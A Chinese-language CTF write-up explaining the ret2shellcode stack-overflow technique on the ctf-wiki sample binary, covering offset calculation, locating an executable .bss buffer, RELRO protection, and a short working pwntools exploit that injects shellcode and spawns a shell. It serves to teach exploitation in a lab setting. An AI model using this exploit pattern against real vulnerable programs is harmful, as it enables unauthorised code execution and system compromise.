stackoverflow之ret2shellcode

ret2shellcode

ret2shellcode,基本ROP之一,控制程序执行shellcode。

这段shellcode需要攻击者自己找地方填充。

1、shellcode:

一段能完成某个功能的汇编代码。常见功能是获取目标系统的shell。

2、条件:

由于shellcode需要填充,并且控制程序执行shellcode,故填充的区域需要具有可执行权限。

example

以 github-ctf-wiki中的ret2shellcode样例程序举例:

image-20191203141522188

32位的binary,开启了RELR0保护机制。不过只是部分区块只读保护。

1、IDA

image-20191203142333859

可以看到binary存在溢出,同时可以快速知道溢出的相对于ret_addr的偏移量为:

offset=0x64+4+4+4

ret2shellcode在该binary上的应用就是:

将shellcode通过gets函数输入,通过strncpy函数拷贝到buf2空间存储,然后通过溢出劫持控制流到buf2,执行shellcode。

那么接下来就是如何寻找buf2的地址,和如何调试查看buf2空间是否具有可执行权限的问题了。

IDA下的buf2地址查看:

image-20191203143006919

buf2地址在bss段,0x804a080

2、GDB

对于buf的bss段是否具有可执行权限,其实前面checksec的时候已经知道,以下为具体的调试查看:

断点于main函数,然后运行binary。

image-20191203143915803

可以看到该段具有可读可写可执行权限。

RELRO

1、简介:

RELRO(read only relocation),存储只读区保护机制,其分为Partial RELRO和Full RELRO两种形式。

Partial RELRO,部分存储只读区保护。

针对部分区块如:.init_array .fini_array .jcr .dynamic .got,在被动态装载(初始化)后,被标记为只读区块。

Full RELRO,全部区块存储只读区保护。

2、原理:

我们知道在黑客进行栈溢出攻击,并且需要shellcode的情况下,可写的存储区将是黑客的攻击目标(因可将 shellcode写入该存储区,然后通过劫持返回地址到该存储区,即可达到攻击目的), 这时候减少可写的存储区或者将存储区设置为可读,将大大有效的保护系统的安全性。而RELRO的原理即如此

3、开关:

1
2
3
4
gcc relro.c -o relro    #默认下是Partial RELRO 
gcc -z norelro relro.c -o relro #关闭RELRO保护机制
gcc -z lazy relro.c -o relro #开启Partial RELRO保护机制
gcc -z now relro.c -o relro #开启Partial RELRO和Full RELRO保护机制

pwn

image-20191203144452138

exploit

1
2
3
4
5
6
7
8
from pwn import *
offset = 0x64+4+4+4
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
p = process("./ret2shellcode")
payload = shellcode.ljust(offset,'\x90')+p32(buf2_addr)
p.sendline(payload)
p.interactive()

image-20191203145134757

Reference

github-ctf-wiki